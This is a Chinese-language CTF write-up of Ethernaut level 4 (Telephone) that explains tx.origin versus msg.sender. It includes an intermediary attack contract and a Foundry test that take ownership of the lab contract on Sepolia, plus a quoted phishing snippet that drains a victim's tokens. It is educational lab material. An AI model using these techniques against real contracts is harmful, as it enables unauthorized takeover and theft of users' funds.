# Ethernaut CTF Level 4 - Telephone [toc] ## 題目 取得下面合約的所有權,來完成這一關 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } ``` <br> ## 分析 可以看到,在`changeOwner()`裡面出現了新的概念 - `msg.sender` vs `tx.origin` msg.sender:目前函數呼叫的直接傳送者。在合約呼叫鏈中,msg.sender是最近一次呼叫的位址。 tx.origin:交易的原始發起者。無論呼叫鏈有多長,tx.origin始終是最初發起交易的位址。 了解這樣的概念後,再來看這個題目 我們只要創建一個攻擊合約,攻擊和約會呼叫題目中的`changeOwner` 最後,再用帳戶呼叫這個攻擊合約 就可以創造題目要的條件`if (tx.origin != msg.sender)` <br> ## 攻擊 - 使用了題目的Interface - 指定題目地址 - `callTelephone`給參數,這邊的參數會是metamask account address - 可以Deploy後動態帶入 ```solidity= // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <0.9.0; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; interface ITelephone { function changeOwner(address _owner) external; } // Calling real telephone contract Telephone { using SafeMath for uint256; ITelephone public orgContract = ITelephone(0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx); function callTelephone(address _attacker) public { orgContract.changeOwner(_attacker); } } ``` 完成後Deploy, 並呼叫`callTelephone` ![image](https://hackmd.io/_uploads/HJfbKNn46.png =70%x) 執行後可以回到Ethernaut 用console確認 ```solidity await contract.owner() ``` ## 補充 From Ethernaut 這個例子比較簡單,如果沒有搞清楚 tx.origin 和 msg.sender 的差異,可能會導致釣魚攻擊,比說如這個. 下面描述了一個可能的攻擊。 - 使用 tx.origin 來決定轉移誰的代幣,例如: ```solidity function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; } ``` 攻擊者讓受害者轉移轉資產到一個惡意合約,這個惡意合約會呼叫代幣合約的 transfer 函式把受害者的資產轉移到惡意合約,例如: ```solidity function () payable { token.transfer(attackerAddress, 10000); } ``` 在這個情況下,tx.origin 是受害者的地址 (同時間 msg.sender 是惡意合約的地址),這會導致受害者的資產被轉移到攻擊者的手上. <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../../src/levels/04-Telephone/Telephone.sol"; contract ContractTest is Test { Telephone level4 = Telephone(payable(0x5610ca330A030462B9609F74925e5EA86AC08eec)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x5610ca330A030462B9609F74925e5EA86AC08eec), "Ethernaut04" ); } function testEthernaut04() public { level4.owner(); // 0x2C2307bb8824a0AbBf2CC7D76d8e63374D2f8446 level4.changeOwner(address(this)); level4.owner(); // address(this) } receive() external payable {} } ```